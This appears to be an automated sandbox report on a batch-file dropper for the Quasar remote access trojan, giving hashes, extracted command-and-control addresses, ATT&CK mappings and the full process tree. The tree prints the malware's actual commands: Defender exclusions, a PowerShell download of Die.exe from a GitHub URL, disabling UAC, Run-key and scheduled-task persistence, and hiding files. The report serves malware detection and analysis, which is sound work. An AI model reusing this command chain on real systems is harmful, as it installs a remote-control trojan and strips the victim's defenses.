quasar | 7680d0a8ddfaa5802cc5b3f658fb24b1a1df3c19121cb7e365c9fd3dbbf70213

Analysis

max time kernel
136s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
14/08/2024, 12:57

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General

Target

-.bat.fud.bat
Size

8KB
MD5

5f6b1db506b37d5de1b52d70f1a42b1d
SHA1

df4baf61c956eccd919deb74b1fdd7dc9d319926
SHA256

7680d0a8ddfaa5802cc5b3f658fb24b1a1df3c19121cb7e365c9fd3dbbf70213
SHA512

c574a8872a4954caacd25e4ddb5d594bbc27d363ea7a8e1343963c2413d960d6891797c0ede0b3bc7365cf3628d5eb8a39a1b5d70fe87b7e72b51fcadf3829ee
SSDEEP

192:Y+pkh/m0cbdoW/CX2bKesv6jcNQbWZdtJiO4qsGJ3nI1M0:YVh/VY7/CX2bTaZdHiFqfRIB

Score

10^/10

quasar %payload%evasion execution persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

%PAYLOAD%

66.66.66.66:6666

66.6v6.66.66:6666

v:6666

147.185.221.21:55609

8.8.8.8:80

1.1.11.1.1.1.1:443

1.1.1.1:443

Mutex

1e59bb04-60ad-4948-8fa2-6b679edd04ba

Attributes

encryption_key
070CDBCBB8132B62B93E1CB06630D9221F0FFA4A
install_name
UnderControl.exe
log_directory
Logs
reconnect_delay
2000
startup_key
uno
subdirectory
Microsoft

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000b00000001da30-45.dat	family_quasar
behavioral2/memory/4892-47-0x0000000000040000-0x000000000036C000-memory.dmp	family_quasar

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
12	4612	powershell.exe
22	4612	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4108	powershell.exe
4932	powershell.exe
4612	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
4892	Die.exe
3736	UnderControl.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\- = "C:\\Users\\Admin\\AppData\\Local\\PP2\\Die.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\- = "C:\\Windows\\System32\\Microsoft\\UnderControl.exe\" /f"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\- = "C:\\Users\\Admin\\AppData\\Local\\PP2\\Die.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	raw.githubusercontent.com
22	raw.githubusercontent.com

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Microsoft\UnderControl.exe	UnderControl.exe
File opened for modification	C:\Windows\system32\Microsoft	UnderControl.exe
File created	C:\Windows\system32\Microsoft\UnderControl.exe	Die.exe
File opened for modification	C:\Windows\system32\Microsoft\UnderControl.exe	Die.exe
File opened for modification	C:\Windows\system32\Microsoft	Die.exe

Modifies registry key 1 TTPs 4 IoCs

Modify Registry

T1112

pid	Process
3512	reg.exe
3244	reg.exe
1284	reg.exe
4512	reg.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4212	schtasks.exe
4564	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4108	powershell.exe
4108	powershell.exe
4932	powershell.exe
4932	powershell.exe
4612	powershell.exe
4612	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4108	powershell.exe
Token: SeDebugPrivilege	4932	powershell.exe
Token: SeDebugPrivilege	4612	powershell.exe
Token: SeDebugPrivilege	4892	Die.exe
Token: SeDebugPrivilege	3736	UnderControl.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3736	UnderControl.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 64 wrote to memory of 3256	64	cmd.exe	85
PID 64 wrote to memory of 3256	64	cmd.exe	85
PID 3256 wrote to memory of 1616	3256	net.exe	86
PID 3256 wrote to memory of 1616	3256	net.exe	86
PID 64 wrote to memory of 4108	64	cmd.exe	87
PID 64 wrote to memory of 4108	64	cmd.exe	87
PID 64 wrote to memory of 4932	64	cmd.exe	88
PID 64 wrote to memory of 4932	64	cmd.exe	88
PID 64 wrote to memory of 3192	64	cmd.exe	90
PID 64 wrote to memory of 3192	64	cmd.exe	90
PID 64 wrote to memory of 4612	64	cmd.exe	91
PID 64 wrote to memory of 4612	64	cmd.exe	91
PID 64 wrote to memory of 3512	64	cmd.exe	100
PID 64 wrote to memory of 3512	64	cmd.exe	100
PID 64 wrote to memory of 4892	64	cmd.exe	101
PID 64 wrote to memory of 4892	64	cmd.exe	101
PID 64 wrote to memory of 3996	64	cmd.exe	102
PID 64 wrote to memory of 3996	64	cmd.exe	102
PID 64 wrote to memory of 3244	64	cmd.exe	103
PID 64 wrote to memory of 3244	64	cmd.exe	103
PID 64 wrote to memory of 1284	64	cmd.exe	104
PID 64 wrote to memory of 1284	64	cmd.exe	104
PID 64 wrote to memory of 4512	64	cmd.exe	105
PID 64 wrote to memory of 4512	64	cmd.exe	105
PID 4892 wrote to memory of 4212	4892	Die.exe	106
PID 4892 wrote to memory of 4212	4892	Die.exe	106
PID 4892 wrote to memory of 3736	4892	Die.exe	108
PID 4892 wrote to memory of 3736	4892	Die.exe	108
PID 3736 wrote to memory of 4564	3736	UnderControl.exe	109
PID 3736 wrote to memory of 4564	3736	UnderControl.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3192	attrib.exe
3996	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\-.bat.fud.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:64
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3256
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:1616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\PP2'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\Microsoft'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4932
- C:\Windows\system32\attrib.exe
  attrib +h "PP2" /s/d
  2⤵
  - Views/modifies file attributes
  PID:3192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell -Command "Invoke-Webrequest 'https://github.com/AdeebToPro/-/raw/main/Die.exe' -OutFile Die.exe"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4612
- C:\Windows\system32\reg.exe
  reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  - Modifies registry key
  PID:3512
- C:\Users\Admin\AppData\Local\PP2\Die.exe
  Die.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4892
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "uno" /sc ONLOGON /tr "C:\Windows\system32\Microsoft\UnderControl.exe" /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4212
- - C:\Windows\system32\Microsoft\UnderControl.exe
    "C:\Windows\system32\Microsoft\UnderControl.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3736
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "uno" /sc ONLOGON /tr "C:\Windows\system32\Microsoft\UnderControl.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4564
- C:\Windows\system32\attrib.exe
  attrib +h "C:\Users\Admin\AppData\Local\PP2\Die.exe" /s /d
  2⤵
  - Views/modifies file attributes
  PID:3996
- C:\Windows\system32\reg.exe
  reg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v - /t REG_SZ /d "C:\Users\Admin\AppData\Local\PP2\Die.exe" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3244
- C:\Windows\system32\reg.exe
  reg ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v - /t REG_SZ /d "C:\Windows\System32\Microsoft\UnderControl.exe\" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1284
- C:\Windows\system32\reg.exe
  reg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v - /t REG_SZ /d "C:\Users\Admin\AppData\Local\PP2\Die.exe" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
da5c82b0e070047f7377042d08093ff4

SHA1
89d05987cd60828cca516c5c40c18935c35e8bd3

SHA256
77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5

SHA512
7360311a3c97b73dd3f6d7179cd979e0e20d69f380d38292447e17e369087d9dd5acb66cd0cbdd95ac4bfb16e5a1b86825f835a8d45b14ea9812102cff59704b

Download Submit
C:\Users\Admin\AppData\Local\PP2\Die.exe

Filesize
3.2MB

MD5
fbcff1aa50bc5a65015472fe1ad0b654

SHA1
c01de71f6e14427c9120d0a18fb2129eeda8ce2e

SHA256
0fff7004883e865d1eef661d4a7409e75d7c1393902dc483c26a280aecfa4e03

SHA512
835b0a86167334f3a2bc74a6d076216335aceffc46c8559285c886088743934a2252f49d4ce97ef90dbc6799815903513c336856869582d051eb5b6d37d4b266

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zdqnvss4.vif.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3736-54-0x000000001C5E0000-0x000000001C630000-memory.dmp

Filesize
320KB

Download
memory/3736-55-0x000000001C6F0000-0x000000001C7A2000-memory.dmp

Filesize
712KB

Download
memory/4108-12-0x00007FFC00D90000-0x00007FFC01851000-memory.dmp

Filesize
10.8MB

Download
memory/4108-15-0x00007FFC00D90000-0x00007FFC01851000-memory.dmp

Filesize
10.8MB

Download
memory/4108-0-0x00007FFC00D93000-0x00007FFC00D95000-memory.dmp

Filesize
8KB

Download
memory/4108-11-0x00007FFC00D90000-0x00007FFC01851000-memory.dmp

Filesize
10.8MB

Download
memory/4108-6-0x0000015E65750000-0x0000015E65772000-memory.dmp

Filesize
136KB

Download
memory/4892-47-0x0000000000040000-0x000000000036C000-memory.dmp

Filesize
3.2MB

Download
memory/4932-27-0x00007FFC00D90000-0x00007FFC01851000-memory.dmp

Filesize
10.8MB

Download
memory/4932-26-0x00007FFC00D90000-0x00007FFC01851000-memory.dmp

Filesize
10.8MB

Download
memory/4932-29-0x00007FFC00D90000-0x00007FFC01851000-memory.dmp

Filesize
10.8MB

Download
memory/4932-31-0x00007FFC00D90000-0x00007FFC01851000-memory.dmp

Filesize
10.8MB

Download